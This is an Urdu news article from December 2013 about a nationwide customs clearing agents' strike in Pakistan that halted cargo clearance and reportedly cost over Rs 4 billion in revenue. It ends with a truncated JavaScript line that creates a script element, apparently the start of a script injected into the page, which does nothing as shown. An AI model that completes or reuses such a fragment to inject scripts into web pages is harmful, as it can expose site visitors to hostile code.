Published On: Wed, Dec 11th, 2013
Published in Category: Uncategorized
کنٹینرز اور ہرقسم کے ٹرانزٹ سامان کی ترسیل معطل، کسٹمز کلکٹریٹس و ایئرفریٹ یونٹس میں جی ڈیزفائل نہیں کی گئیں، ٹیکسزلینے والی بینک برانچیں خالی۔ فوٹو : محمد عظیم / ایکسپریس

کسٹم ایجنٹس کی ہڑتال شروع، تجارتی سامان کی کلیئرنس بند، 4ارب کا نقصان

Share This
Tags

کراچی:  کسٹمز کلیئرنگ ایجنٹوں نے منگل سے ملک گیر ہڑتال شروع کردی جس کے نتیجے میں 10 ڈرائی پورٹس، ایئرپورٹس اور بندرگاہوں سے منسلک کسٹمز کلکٹریٹ میں درآمدی وبرآمدی کنسائنمنٹس کی کلیئرنس معطل رہیں اور مبینہ طور پر صرف ملک بھر کسٹمز کلکٹریٹس اور ایئرفریٹ یونٹس میں گڈزڈیکلریشنز داخل نہ کرائے جانے کے باعث ڈیوٹی و ٹیکسوں کی مد میں حکومت کو 4 ارب روپے سے زائد مالیت کے ریونیو خسارے سے دوچار ہونا پڑا۔

کراچی کسٹمز ایجنٹس ایسوسی ایشن اور آل پاکستان کسٹمز ایجنٹس ایسوسی ایشن کی اپیل پر منگل سے غیرمعینہ مدت کے لیے شروع ہونے والی ہڑتال میں بانڈڈ کیریئرز، بارڈرایجنٹس اور گڈز ٹرانسپورٹرز بھی شامل رہے جس کی وجہ سے پورٹ قاسم کنٹینر ٹرمینل، کراچی اور پاکستان کنٹینرٹرمینل پر کسٹم کلیئرنس کے حامل درآمدی کنٹینرز کی ترسیل بھی معطل رہیں جبکہ چمن، کوئٹہ، پشاور، طورخم، لاہور کلکٹریٹس، تمام ایئرپورٹس کے ایئرفریٹ یونٹس میں کلیئرنس کی سرگرمیاں معطل رہیں، برآمدی کنسائنمنٹس کی ترسیل متاثر رہنے کے علاوہ خشک گودیوں کے لیے ٹرانس شپمنٹ معطل رہیں۔

افغان ٹرانزٹ کمرشل اور نان کمرشل کنسائمنٹس کی ترسیل معطل رہی، ہڑتال کے سبب کسٹم ہائوس کراچی میں ہو کا عالم رہا جبکہ ڈیوٹی و ٹیکسز وصول کرنے والے نیشنل بینک کی برانچیں خالی رہیں جہاں صرف عملہ وافسران حاضر رہے۔ ذرائع نے بتایا کہ متعلقہ اعلیٰ کسٹمز افسران ہڑتال ختم کرانے کے لیے کسٹمز ایجنٹس کے نمائندوں پر دبائو ڈالتے رہے۔ ذرائع نے بتایا کہ کسٹمز حکام نے کلیئرنگ ایجنٹس کی ہڑتال میں اپنی کارکردگی ظاہرکرنے کی غرض سے کسٹم ایکٹ کے تحت سیکیورٹی ڈپازٹ کی مد میں(امانتاً) جمع شدہ رقوم کو کیش کراکے ریونیو وصولی ظاہر کرنے کی بھی کوشش کی، کسٹم حکام نے نیشنل بینک کسٹم ہائوس کے بجائے نادرا ہائوس کی نیشنل بینک کی شاخ میں ریونیو ڈیوٹی جمع کرانے کی بھی کوششیں کی گئیں لیکن کسٹم ایجنٹس کے نمائندوں نے اسے ناکام بنادیا۔

 var d=document;var s=d.createElement(‘script’);